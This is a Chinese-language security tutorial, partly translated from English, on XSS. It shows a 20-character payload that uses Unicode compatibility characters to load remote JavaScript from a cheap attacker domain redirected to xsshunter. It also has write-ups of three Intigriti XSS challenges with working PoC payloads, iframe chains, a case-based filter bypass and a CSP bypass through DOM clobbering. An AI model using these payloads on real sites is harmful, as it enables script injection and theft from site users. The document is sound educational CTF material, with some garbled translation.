Bootstrap

2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析EXP以及 如何防御和修复[含JAVASCRIPT和HTML代码层面分析,代码都进行了详细的注释](2)———— 作者:LJS

  • 目录

    7.5 Exploiting XSS with 20 characters limitation(蓝色为翻译)​编辑

    Unicode compatibility

    20 length limitation problem

    Taking advantage

    Next steps

    7.6 Intigriti XSS 系列挑战 Writeups

    7.6.1 xss challenge 1220

    题目概述

    思路分析

    POC

    a.有交互

    b.无交互

    7.6.2 xss challenge 0121

    题目概述

    思路分析

    POC

    7.6.3 xss challenge 0221

    题目概述

    思路分析

    POC



  • 7.5 Exploiting XSS with 20 characters limitation(蓝色为翻译)

  • Cross-Site Scripting (XSS) is one of the most common vulnerabilities found across a web penetration testing. However, depending on the injection point, a character limitation problem could be found. In this post, unicode compatibility is going to be taken to exploit some XSS vulnerabilities.
  • (Cross-Site Scripting (XSS) is one of the most common vulnerabilities found across a web penetration testing. 

    )
  • 跨站点脚本(XSS)是在web渗透测试中发现的最常见的漏洞之一。
  • However, depending on the injection point, a character limitation problem could be found. 
  • 但是,根据注入点的不同,可能会发现字符限制问题。
  • In this post, unicode compatibility is going to be taken to exploit some XSS vulnerabilities.
  • 在这篇文章中,unicode兼容性将被用来利用一些XSS漏洞。
  • Unicode compatibility

  • In Unicode equivalence some sequences of code points represent essentially the same character. This feature was introduced in the standard to allow compatibility with preexisting standard character sets. Unicode provides two ways of handling that: canonical equivalence and compatibility.
  • Canonical equivalence: Code point sequences are assumed to have the same appearance and meaning when printed or displayed. For example, n + ◌̃ = ñ.

  • Compatible equivalence: Code point sequences are assumed to have possibly distinct appearances, but the same meaning in some contexts. For example character has the equivalent to ff.(

  • Unicode兼容性在Unicode等价中,一些代码点序列基本上表示相同的字符。

    在标准中引入该特性是为了兼容先前存在的标准字符集。

    Unicode提供了两种处理方法:规范等价性和兼容性。

    规范等价:假定代码点序列在打印或显示时具有相同的外观和含义。

    例如:n +o=ñ。

    兼容等价:假设代码点序列可能具有不同的外观,但在某些上下文中具有相同的含义。

    例如ff字符与ff等价。)

  • 20 length limitation problem

  • Therefore, supose a length limitation of a payload is set, and we confirm the Javascript execution with a 20 character payload like this:(因此,假设设置了有效载荷的长度限制,我们使用20个字符的有效载荷确认Javascript执行,如下所示:)
  • <svg/οnlοad=alert``>
  • But, this is harmless, because we can only pop an alert, without showing the impact behind a XSS. Loading an external Javascript would be perfect and would give us more flexibility to prepare a more complex attack.(但是,这是无害的,因为我们只能弹出一个警告框,而不会显示XSS背后的影响。加载外部Javascript将是完美的,这将给我们更多的灵活性来准备更复杂的攻击。)
  • <script src=//aa.es>
  • Therefore, a payload like this would be perfect, because we can load a remote Javascript file with 20 characters. But almost every domain of this kind is taken or is too expensive.(因此,这样的有效载荷是完美的,因为我们可以加载包含20个字符的远程Javascript文件。但几乎所有这类域名都被占领了,或者太贵了。)
  • Taking advantage

  • Browsers perform unicode compatibility with some characters, let’s see an example. Supose we have this payload:(浏览器对某些字符的unicode兼容性,让我们看一个例子。假设我们有这样的载荷:)
  • <script src=//ffff.pw>
  • Notice that characters is only one character but when browsers interpret it, it will be expanded as ff two characters. This open the door to buy larger domains, in a cheaper way.(请注意,ff字符只有一个字符,但当浏览器解释它时,它将被扩展为ff两个字符。这为以更便宜的方式购买更大的域名打开了大门。)
  • ff expands to ff

  • ℠ expands to sm

  • ㏛ expands to sr

  • st expands to st

  • ㎭ expands to rad

  • ℡ expands to tel

  • More of these characters can be found here.
  • To check in which characters are decomposed check here:(更多的这些字符可以在这里找到。要检查哪些字符被分解,请检查:)
  • Then, lets register a domain a telsr.pw for example. It costs only $1.28.(然后,让我们注册一个域名telsr。例如Pw。它只要1美元。28.)
  • Domain price

  • Our final payload will look like this:(我们最终的有效载荷看起来像这样:)
  • <script src=//℡㏛.pw>
  • Observe how the normalization is performed and our registered endpoint is trying to be reached with a payload of 20 characters instead of 23 characters thanks of unicode compatibility.
  • 请注意规范化是如何执行的,由于unicode兼容,我们注册的端点试图以20个字符而不是23个字符的有效载荷到达。)
  • PoC

  • Next steps

  • Therefore, a domain is registered and a payload is trying to reach that domain, however it has not executed anything yet.
  • 因此,注册了一个域,一个有效载荷试图到达该域,但它还没有执行任何操作。)
  • One thing came into my mind, let’s perform a DNS Redirect, it will work as follows:
  • 1. XSS is triggered and browser tries to load the content of to telsr.pw

  • 2. DNS redirects to xsshunter.com to trigger the XSS execution.

  • 3. Win

  • 我想到一件事,让我们执行DNS重定向,它的工作原理如下:1。XSS被触发,浏览器尝试加载到telsr的内容。pw2。DNS重定向到xsshunter。. com来触发XSS执行。赢得)

  • But there is a problem, if the connection goes over HTTPS and we trigger a script with src=\\url the protocol will be the same as the website. Then, if we perform a DNS redirect to another site, there will be a certificate mismatch and the Javascript file will not be loaded.
  • 但是有一个问题,如果连接通过HTTPS,并且我们触发一个带有src=\ lurl的脚本,那么协议将与网站相同。然后,如果我们执行DNS重定向到另一个网站,将出现证书不匹配,Javascript文件将无法加载。)
  • If the comunication goes over HTTP this is not a problem, but it is not the common scenario.
  • This was solved doing the following:
  • 1. Buy a hosting to that domain, the cheapest one $1.44/mo. In my case was using namecheap.com.

  • 2. Set up a HTTPS certificate, it is free the first year.

  • 3. In your control panel, go to the redirection form and perform a redirection to the place you have the Javascript file. This is not a DNS redirection, is a server redirection, so there will be not certificate mismatch error because the url is presenting a valid certificate generated in step 2.

  • 4. Redirection is performed and execution triggered.

  • (如果通信通过HTTP进行,这不是问题,但这不是常见的情况。解决方法如下:1。购买该域名的托管服务,最便宜的1美元。44 / mo。在我的例子中,使用的是namecheap.com.2。设置一个HTTPS证书,第一年是免费的。在控制面板中,转到重定向表单并执行重定向到Javascript文件所在的位置。这不是DNS重定向,而是服务器重定向,所以不会出现证书不匹配错误,因为url是在步骤2.4中生成的有效证书。重定向并触发执行。)




  • 7.6 Intigriti XSS 系列挑战 Writeups

  • 7.6.1 xss challenge 1220

  • 题目概述

  • 地址:https://challenge-1220.intigriti.io/ ,挑战有以下要求:
  • 使用最新版的Firefox或者Chrome浏览器

  • 执行JS:alert(document.domian)

  • 在域名challenge-1220.intigriti.io下被执行

  • 不允许self-XSS 和 MiTM 攻击

  • 思路分析

  •  可以看到页面上有一个计算器,尝试进行一些简单的操作,能发现url中会加入一些参数
  • https://challenge-1220.intigriti.io/?num1=6&operator=%2B&num2=6
  • img

  • 检查页面源码,查看JS文件script.js:  
  • // 设置全局变量 window.name,这里被用作一个提示信息,不直接影响功能
    window.name = "Intigriti's XSS challenge";
    
    // 支持的运算符
    const operators = ["+", "-", "/", "*", "="];
    
    // 计算函数,接收两个操作数和一个运算符进行计算
    function calc(num1 = "", num2 = "", operator = "") {
      // 解码运算符,以防止 URL 编码影响
      operator = decodeURIComponent(operator);
      var operation = `${num1}${operator}${num2}`;
      
      // 将计算过程显示在操作框中
      document.getElementById("operation").value = operation;
    
      // 检查运算符是否有效
      if (operators.indexOf(operator) == -1) {
        throw "Invalid operator.";
      }
    
      // 检查操作数是否只包含数字和字母,不允许特殊字符
      if (!(/^[0-9a-zA-Z-]+$/.test(num1)) || !(/^[0-9a-zA-Z]+$/.test(num2))) {
        throw "No special characters.";
      }
    
      // 检查操作长度是否超过20个字符
      if (operation.length > 20) {
        throw "Operation too long.";
      }
    
      // 使用 eval 函数计算结果并返回
      return eval(operation);
    }
    
    // 初始化函数,在页面加载时调用,尝试计算并显示结果
    function init() {
      try {
        document.getElementById("result").value = calc(getQueryVariable("num1"), getQueryVariable("num2"), getQueryVariable("operator"));
      } catch (ex) {
        console.log(ex); // 捕获异常并输出到控制台
      }
    }
    
    // 获取 URL 查询参数的函数
    function getQueryVariable(variable) {
      // 获取当前 URL 的查询部分
      var searchQueryString = window.location.href.substr(window.location.href.indexOf("?") + 1, window.location.href.length);
      var vars = searchQueryString.split('&');
      var value;
      
      // 遍历查询参数,寻找匹配的变量名
      for (var i = 0; i < vars.length; i++) {
        var pair = vars[i].split('=');
        if (decodeURIComponent(pair[0]) == variable) {
          value = decodeURIComponent(pair[1]);
        }
      }
      return value; // 返回找到的变量值
    }
    
    // 页面加载完成时的操作
    window.onload = function() {
      init(); // 初始化页面状态
    
      // 绑定数字按钮的点击事件
      var numberBtns = document.body.getElementsByClassName("number");
      for (var i = 0; i < numberBtns.length; i++) {
        numberBtns[i].onclick = function(e) {
          setNumber(e.target.innerText); // 点击数字按钮,设置对应的操作数
        };
      };
    
      // 绑定运算符按钮的点击事件
      var operatorBtns = document.body.getElementsByClassName("operator");
      for (var i = 0; i < operatorBtns.length; i++) {
        operatorBtns[i].onclick = function(e) {
          setOperator(e.target.innerText); // 点击运算符按钮,设置当前的运算符
        };
      };
    
      // 绑定清除按钮的点击事件
      var clearBtn = document.body.getElementsByClassName("clear")[0];
      clearBtn.onclick = function() {
        clear(); // 点击清除按钮,清除所有操作数和运算符
      }
    }
    
    // 设置操作数的函数
    function setNumber(number) {
      var url = new URL(window.location);
      var num1 = getQueryVariable('num1') || 0;
      var num2 = getQueryVariable('num2') || 0;
      var operator = getQueryVariable('operator');
      
      // 根据当前操作符和操作数设置新的 URL 查询参数
      if (operator == undefined || operator == "") {
        url.searchParams.set('num1', parseInt(num1 + number));
      } else if (operator != undefined) {
        url.searchParams.set('num2', parseInt(num2 + number));
      }
      
      // 使用新的 URL 更新浏览器历史记录并重新初始化页面
      window.history.pushState({}, '', url);
      init();
    }
    
    // 设置运算符的函数
    function setOperator(operator) {
      var url = new URL(window.location);
    
      // 如果已经有第二个操作数,则进行上一步操作的计算
      if (getQueryVariable('num2') != undefined) {
        url.searchParams.set('num1', calc(getQueryVariable("num1"), getQueryVariable("num2"), getQueryVariable("operator")));
        url.searchParams.delete('num2'); // 删除第二个操作数
        url.searchParams.set('operator', operator); // 设置新的操作符
      } else if (getQueryVariable('num1') != undefined) {
        url.searchParams.set('operator', operator); // 设置操作符
      } else {
        alert("You need to pick a number first."); // 如果没有第一个操作数,弹出警告
      }
    
      // 使用新的 URL 更新浏览器历史记录并重新初始化页面
      window.history.pushState({}, '', url);
      init();
    }
    
    // 清除操作的函数
    function clear() {
      var url = new URL(window.location);
      
      // 删除所有的操作数和操作符
      url.searchParams.delete('num1');
      url.searchParams.delete('num2');
      url.searchParams.delete('operator');
      
      // 使用新的 URL 更新浏览器历史记录并重新初始化页面
      window.history.pushState({}, '', url);
      document.getElementById("result").value = ""; // 清空结果显示框
      init();
    }
    
  • 可以看到cals()函数包含eval(),但同时也对参数的类型和长度进行了一些限制:!这里先忽略长度20的限制。如果我们能控制location的值就可以执行xss:
  • 所以我们需要找到一个可控的全局变量:  
  • 经过分析,发现searchQueryString,内容就是URL后面附加的一堆参数:  
  • window.searchQueryString = window.location.href.substr(window.location.href.indexOf("?") + 1, window.location.href.length);
  • 因此,构造payload?javascript:alert(1)//num1=9&operator=%2B&num2=searchQueryString,则searchQueryString的值就包含javascript:alert(1):  
  • img

  • 现在只需要让location等于searchQueryString,构造payload:?javascript:alert(1)//&num1=loaction&operator=-&num2=searchQueryString:  
  • img

  • 但在执行过程中eval(operation);operationlocation=searchQueryString,长度超过20被限制。因此,现在需要绕过长度20的限制。
  • 为了能缩短长度,经过研究,可以首先让a=searchQueryString(len=19),然后再让location=a(len=10):
  • img

  • 为了达到这个目标,需要以下条件:
  • 整个过程需要至少执行两次(a=searchQueryStringlocation=a

  • 在两次执行中,需要能改变参数num1 num2的值(两次执行对应的参数值不同)

  • 通过观察,clear()函数与window.onload均包含init():
  • img

  • img

  • POC

  • a.有交互
  • 利用clear()函数实现xss,需要用户交互,构造payload:
  • <!-- HTML 部分 -->
    <iframe id="intigriti" src="https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=a&operator=%3D&num2=searchQueryString"  style="border-style:none;" width=500 height=500></iframe>
    
    <!-- JavaScript 部分 -->
    <script>
        // 在页面加载后延迟1秒执行 secondchange 函数
        setTimeout(secondchange, 1000);
    
        // 定义 secondchange 函数
        function secondchange() {
            // 更改 id 为 intigriti 的 iframe 的 src 属性
            document.querySelector("#intigriti").src = "https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=location&operator=%3D&num2=a";
        }
    </script>
    
  • 点击计算器C键,调用clear() ==> init(),实现第二次执行,成功实现xss:
  • img

  • b.无交互
  • 为了实现无需用户交互下的xss,可用构造onhashchange="init" 事件,每当hash变化后就调用init:
  • <!-- HTML 部分 -->
    <iframe id="intigriti" src="https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=onhashchange&operator=%3D&num2=init" style="border-style:none;" width=500 height=500></iframe>
    
    <!-- JavaScript 部分 -->
    <script>
        // 在页面加载后延迟1秒执行 firstchange 函数
        setTimeout(firstchange, 1000);
        // 在页面加载后延迟2秒执行 secondchange 函数
        setTimeout(secondchange, 2000);
    
        // 定义 firstchange 函数
        function firstchange() {
            // 更改 id 为 intigriti 的 iframe 的 src 属性
            document.querySelector("#intigriti").src = "https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=a&operator=%3D&num2=searchQueryString";
        }
    
        // 定义 secondchange 函数
        function secondchange() {
            // 更改 id 为 intigriti 的 iframe 的 src 属性
            document.querySelector("#intigriti").src = "https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=location&operator=%3D&num2=a";
        }
    </script>
    
  • img

  • 7.6.2 xss challenge 0121

  • 题目概述

  • 地址:https://challenge-0121.intigriti.io/ ,挑战有以下要求:
  • 使用最新版的Firefox或者Chrome浏览器

  • 通过alert()弹出 {THIS_IS_THE_FLAG}

  • 利用此页面的xss漏洞

  • 不允许self-XSS 和 MiTM 攻击

  • 思路分析

  • 查看网页JS代码:
  • // 解析当前页面的 URL,并获取查询参数中的 r 值
    window.href = new URL(window.location.href);
    window.r = href.searchParams.get("r");
    
    // 清理可能包含恶意值的全局变量
    ["document", "window"].forEach(function(interface){
        Object.keys(window[interface]).forEach(function(globalVariable){
            // 检查全局变量是否为字符串类型,并且是否包含 "javascript",如果是则删除该全局变量
            if((typeof window[interface][globalVariable] == "string") && (window[interface][globalVariable].indexOf("javascript") > -1)){
                delete window[interface][globalVariable];
            }
        });
    });
    
    // 当页面加载完成后执行的操作
    window.onload = function(){
        // 获取所有的 <a> 标签
        var links = document.getElementsByTagName("a");
        // 遍历每个 <a> 标签
        for(var i = 0; i < links.length; i++){
            // 为每个 <a> 标签添加点击事件处理程序
            links[i].onclick = function(e){
                e.preventDefault(); // 阻止默认的点击事件行为
                safeRedirect(e.target.href); // 调用 safeRedirect 函数进行安全重定向
            }
        }
    }
    
    // 如果 URL 参数中存在 r 值,则进行安全重定向
    if(r != undefined){
        safeRedirect(r);
    }
    
    // 安全重定向函数,接受一个 URL 参数
    function safeRedirect(url){
        // 检查 URL 是否包含任何不安全字符
        if(!url.match(/[<>"' ]/)){
            // 延迟5秒执行重定向操作
            window.setTimeout(function(){
                if(url.startsWith("https://")){
                    window.location = url; // 如果是 https 开头的 URL,则直接重定向到该 URL
                }
                else{ // 如果不是 https 开头的 URL,则本地重定向到 origin + "/" + url
                    window.location = window.origin + "/" + url;
                }
                // 延迟1秒后显示错误信息
                window.setTimeout(function(){
                    document.getElementById("error").style.display = "block";
                }, 1000);
            }, 5000); // 5秒后执行重定向操作
    
            // 在 id 为 popover 的元素中显示重定向提示信息
            document.getElementById("popover").innerHTML = `
                <p>You're being redirected to ${url} in 5 seconds...</p>
                <p id="error" style="display:none">
                    If you're not being redirected, click <a href=${url}>here</a>
                </p>.`;
        }
        else{
            alert("Invalid URL."); // 如果 URL 包含不安全字符,则弹出提示框
        }
    }
    
  •  首先定义了一个搜索参数rwindow.r = href.searchParams.get("r");,然后对document window的所有属性进行循环检查并加限制,如果属性为字符串且包含javastript,则被删除:
  • img

  • 最后可以看到一个可疑的safeRedirect()函数,r未定义就会被传入到这个函数中。并且对参数url进行了限制,不允许包含< > " ' (空格) ,如果urlhttps://开头,window.location设为该URL;如果不是,则将window.location 设为window.origin + "/" + url。此外,通过error的重定向,可以将<a href=${url}>here</a>嵌入到网页中。
  • 综上分析,目前有几个点需要突破:
  • javastript 不能出现在r参数中;

  • < > " ' (空格) 不能出现在r参数中;

  • 通过error信息嵌入html标签;

  • 由于window.originhttps://challenge-0121.intigriti.io 所以url总以https://开头,则不能被控制;

  •  首先尝试进行一个简单的重定向尝试,输出入https://challenge-0121.intigriti.io/?r=aaaaaa被重定向到 https://challenge-0121.intigriti.io/aaaaaa 且嵌入了标签:
  • img

  • 当将%0a插入到r的值中,如r=aaa%0aaaa=bbb时,嵌入的标签就可以被控制:
  • img

  • 为了能使window.location 被设为window.origin + "/" + url,则需要window.orgin不以https://开头,但该默认网页的window.orgin无法更改(总是https://challenge-0121.intigriti.io),所以这里需要换一种思路思考。
  • img

  • 我注意到本题的要求“通过alert()弹出 {THIS_IS_THE_FLAG}”“在这个页面实现XSS” ,而不像其他题目需要执行“alert(document.domian)或者alert(origin)”“在域名challenge.intigriti.io在实现XSS”,那么有可能通过本挑战一个特定的子域名*.challenge-0121.intigriti.io来控制window.origin的值,从而达到控制window.location 的目的。
  • 通过Sublist3r工具进行寻找,发现了子域名:javascript.challenge-0121.intigriti.iowindow.origin没有被定义:
  • img

  • https://javascript.challenge-0121.intigriti.io/?r=aaaaaa被重定向到
    
    
    https://javascript.challenge-0121.intigriti.io/undefined/aaaaaa:
  • img

  • 如此一来,结合前面的可控的嵌入的html标签,即可控制window.origin的值。构造r=aaa%0aid=origin
  • img

  • 进一步构造r=https://attack.com%0aid=origin,可以看到:
  • img

  • 并且被重定向到attack的地址:
  • img

  • 利用大小写可以绕过“javastript 不能出现在r参数中”的限制,因此,我们可以构造payload:r=jAvascript:alert(1)/%0aid=origin,即可执行xss:
  • img

  • 为了弹出 {THIS_IS_THE_FLAG},由于< > " ' (空格) 不能出现在r参数中,可以使用 号;或者使用flag.innerHTML`。
  • POC

  • 最终的payload:
  • https://javascript.challenge-0121.intigriti.io/?r=jAvascript:alert(flag.innerHTML)/%0aid=origin
  • img

  • https://javascript.challenge-0121.intigriti.io/?r=jAvascript:alert(`{THIS_IS_THE_FLAG}`)/%0aid=origin
  • img

  • 7.6.3 xss challenge 0221

  • 题目概述

  • 地址:https://challenge-0221.intigriti.io/ 该挑战是根据真实漏洞场景改编而来,挑战有以下要求:
  • 触发alert(origin)

  • 绕过CSP限制

  • 不需要用户交互

  • 使用最新版的Firefox或者Chrome浏览器

  • 利用此页面的xss漏洞

  • 不允许self-XSS 和 MiTM 攻击

  • 思路分析

  • 首先分析网页功能,随便输入一些字符串:
  • img

  • 可以看到网页反馈提示收到提交信息,并可以生成一个share link。点击share link,浏览器地址栏生成带有参数的地址如下:
  • https://challenge-0221.intigriti.io/?assignmentTitle=aaaaaaaaaaaa&assignmentText=aaaaaaaaaaaaaaaaa...
  • 由此可以判定,可以利用参数值构造payload形成xss。
  • 检查网页源码,发现script.js:
  • img

  • // 定义一个全局变量 'question',生成一个随机的加法问题
    var question = `${Math.floor(Math.random() * 10) + 1} + ${Math.floor(Math.random() * 10) + 1}`;
    
    // 在页面中显示生成的问题
    document.getElementById("question").innerText = `${question} = ?`;
    
    // 添加点击事件监听器,点击提交按钮时触发 'startGrade()' 函数
    document.getElementById("submit").addEventListener("click", startGrade);
    
    // 检查URL参数是否包含 'autosubmit',如果有,则自动触发 'startGrade()' 函数
    const urlParams = new URLSearchParams(location.search);
    if (urlParams.has("autosubmit")) {
      startGrade(); // 如果URL中有 'autosubmit' 参数,则自动开始评分过程
    }
    
    // 开始评分过程的函数
    function startGrade() {
      // 获取文本输入框中的内容
      var text = document.getElementById("assignmentText").value;
      
      // 检查文本内容的长度
      checkLength(text);
      
      // 初始化 'result' 对象,如果尚未定义,则说明提交内容过短
      result = window.result || {
        message: "Your submission is too short.",
        error: 1,
      };
      
      // 如果存在错误(提交内容过短),则结束评分过程
      if (result.error) {
        endGrade();
      } else {
        // 获取并验证答案输入框中的答案
        getQAnswer();
        
        // 如果答案不正确,则更新 'result' 的消息
        if (!passQuiz()) {
          result.message = "We don't allow robots at the Unicodeversity (yet)!";
          result.error = 1;
        } else {
          // 随机分配一个等级(A到F)给 'result.grade',这里只是演示,实际没有使用到学生的提交内容
          result.grade = "ABCDEF"[Math.floor(Math.random() * 6)];
        }
        
        // 结束评分过程
        endGrade();
      }
    }
    
    // 结束评分和更新页面的函数
    function endGrade() {
      // 在页面上显示 'result.message' 的内容
      document.getElementById("message").innerText = result.message;
      
      // 如果存在 'result.grade',则在页面上显示获得的等级
      if (result.grade) {
        document.getElementById("grade").innerText = `You got a(n) ${result.grade}!`;
      }
      
      // 设置分享链接可见性
      document.getElementById("share").style.visibility = "initial";
      
      // 设置分享链接的 href 属性,包含作业标题和文本内容
      document.getElementById("share-link").href = `https://challenge-0221.intigriti.io/?assignmentTitle=${document.getElementById("assignmentTitle").value}&assignmentText=${document.getElementById("assignmentText").value}`;
      
      // 删除 'result' 对象,清理不必要的数据
      delete result;
    }
    
    // 检查文本长度的函数
    function checkLength(text) {
      // 如果文本长度超过50个字符,则更新 'result' 对象显示感谢消息
      if (text.length > 50) {
        result = { message: "Thanks for your submission!" };
      }
    }
    
    // 获取并验证问题答案的函数
    function getQAnswer() {
      // 获取答案输入框中的值
      var answer = document.getElementById("answer").value;
      
      // 使用正则表达式验证答案是否为数字
      if (/^[0-9]+$/.test(answer)) {
        // 如果 'result' 已定义,则将答案值赋给 'result.questionAnswer'
        if (typeof result !== "undefined") {
          result.questionAnswer = { value: answer };
        } else {
          // 否则初始化 'result' 并将答案值赋给 'result.questionAnswer'
          result = { questionAnswer: { value: answer } };
        }
      }
    }
    
    // 验证问题答案是否正确的函数
    function passQuiz() {
      // 检查 'result.questionAnswer' 是否已定义
      if (typeof result.questionAnswer !== "undefined") {
        // 使用 eval() 函数验证用户提供的答案是否与生成的 'question' 匹配
        return eval(result.questionAnswer.value + " == " + question);
      }
      return false; // 如果 'result.questionAnswer' 未定义,则返回 false
    }
    
  •  对script.js进行分析,发现几个有意思的点。一是passQuiz函数中存在eval方法,可能会被用来执行我们的js payload:
  • img

  • 其中result.questionAnswer.valuegetAnswer函数获得,但对answer参数进行了限制,只能是数字。
  • img

  • 第二个点是,url中可以包含autosubmit参数,可以用来满足题目中”不需要用户交互”的要求:
  • img

  • 从页面的提示,该挑战涉及到 Unicode编码:
  • Welcome to the Unicodeversity’s Well-trusted Assignment Computer Knowledge system, where we primarily focus on your ability to use cool Unicode and not so much on the content of your submissions
  • (欢迎来到Unicodeversity备受信任的作业计算机知识系统,在这里我们主要关注您使用酷Unicode的能力,而不是您提交的内容)
  • 尝试输入特殊的Unicode字符π(U+03C0)。当直接在输入框中输时,页面不允许:
  • img

  • 直接在url中输入,可以看到页面显示如下:
  • img

  • img

  • 其中(特殊方框)+c0引起了我的注意。通过查询(特殊方框)可知它为U+0003
  • img

  • 以此为例,通过其他Unicode字符测试可以判定,当我们输入一个特定的Unicode字符形如 U+abcd 时,会被解析为U+00ab+cd
  • 由于输入在<inupt>标签中,我们需要对标签进行闭合,构造xss payload。首先的思路是尝试通过"value=进行闭合,并添加事件属性onmouseover=alert(1)依照次思路,我们需要按照页面解析Unicode字符的规律进行构造payload。
  • " —— U+0022
    ∢ —— U+2222
  • 因为"的Unicode编码为U+0022,则∢( U+2222)会被解析为"+22,从而成功闭合:
  • img

  • 构造payload ∢ onmouseover=alert(1)&autosubmit 没有被执行,发现被CSP拦截:
  • img

  • 此路不通,需要换个角度执行js。页面允许script.js执行,可以用来绕过CSP。通过上面对script.js的分析,我们可以利用eval方法执行payload。那么现在的问题就变成了,如何操控result.questionAnswer.value。从上面的分析可以知道,想绕过getAnswer函数的限制是不可能的。通过分析result并没有定义:
  • img

  • 所以我们可以自己定义result进而操控最终的result.questionAnswer.value 首先通过直接修改页面Html验证可行性。如果我们在页面中插入<input id=result>,则能定位到result:
  • img

  • 为了能进一步定位到queationAnswer构造新的标签<input id=result name=questionAnswer value=alert(1)>,并使得value=alert(1):
  • img

  • 这时,eval(result.questionAnswer.value + " == " + question);语句被执行时,我们已经将result.questionAnswer.value的值覆盖为alert(1),便可成功弹窗:
  • img

  • 以上思路的可行性验证完毕,需要构造如下payload,首先对原始的input标签进行闭合,然后插入新的标签:
  • ">
    <input id=result>
    <input id=result name=questionAnswer value=alert(1)>
  • 寻找特殊的Unicode字符:
  • " —— U+0022    ∢ —— U+2222   ===>  "22
    > —— U+003E    㺪 —— U+3EAA   ===>  >aa
    < —— U+003C    㲪 —— U+3EAA   ===>  <aa
  • 所以,进行Unicode替换的payload为:
  • ∢㺪㲪input%20id=result㺪㲪input%20id=result%20name=questionAnswer%20value=alert(1)㺪&autosubmit
  • img

  • 但payload并没有成功执行,原因是㲪(U+3EAA)input 形成了<aainput这一无效标签。由于页面对Unicode字符的解析,必然导致最后两位字符一直存在,无法去除。所以需要对这两位字符进行利用。思路是构造(后两位字符)+(某个字符串)的一个有效的标签,且允许含有value属性。
  • 通过对html 标签进行研究,最终找到<data>标签满足需求:
  • img

  • POC

  • 构造以<data>为基础的有效payload:
  • ">
    <data id=result>
    <data id=result name=questionAnswer value=alert(1)>
  • 需要的特殊Unicode字符为:
  • 㳚 —— U+3EDA + 'ta'  ===> <da+'ta'  ===>  <data
  • 最终payload为:
  • ∢㺪㳚ta%20id=result㺪㳚ta%20id=result%20name=questionAnswer%20value=alert(origin)㺪&autosubmit
  • img

;